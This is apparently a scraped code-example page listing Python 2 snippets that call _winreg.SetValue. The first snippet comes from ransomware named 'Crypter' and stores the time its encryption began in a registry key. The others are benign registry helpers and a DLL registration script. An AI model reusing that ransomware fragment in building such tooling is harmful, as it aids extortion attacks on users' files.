Python _winreg 模块，SetValue() 实例源码

def get_start_time(self):
    '''
    @summary: Get's Crypter's start time from the registry, or creates it if it
    doesn't exist
    @return: The time that the ransomware began it's encryption operation, in integer epoch form 
    '''

    # Try to open registry key
    try:
      reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION)
      start_time = _winreg.QueryValueEx(reg, "")[0]
      _winreg.CloseKey(reg)
    # If failure, create the key
    except WindowsError:
      start_time = int(time.time())
      reg = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION)
      _winreg.SetValue(reg, "", _winreg.REG_SZ, str(start_time))
      _winreg.CloseKey(reg)

    return start_time

def __set_value(self, value):
        'Private class method.'
        _winreg.SetValue(self.__self, '', REG.SZ, value)

def __set_value(self, value):
        'Private class method.'
        _winreg.SetValue(self.__key, '', REG.SZ, value)

def __set_value(self, value):
        'Private class method.'
        _winreg.SetValue(self.__key, '', REG.SZ, value)

def set_value(self, key, subkey, value):
        """ Set a value in a custom subkey
        """
        try:
            return winreg.SetValue(key, subkey, winreg.REG_SZ, value)
        except WindowsError as error:
            print "Error al crear un valor"
            self.no_restore = True

def _doregister(mod_name, dll_name):
    assert os.path.isfile(dll_name), "Shouldn't get here if the file doesn't exist!"
    try:
        key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, "Software\\Python\\PythonCore\\%s\\Modules\\%s" % (sys.winver, mod_name))
    except _winreg.error:
        try:
            key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, "Software\\Python\\PythonCore\\%s\\Modules\\%s" % (sys.winver, mod_name))
        except _winreg.error:
            print "Could not find the existing '%s' module registered in the registry" % (mod_name,)
            usage_and_die(4)
    # Create the debug key.
    sub_key = _winreg.CreateKey(key, "Debug")
    _winreg.SetValue(sub_key, None, _winreg.REG_SZ, dll_name)
    print "Registered '%s' in the registry" % (dll_name,)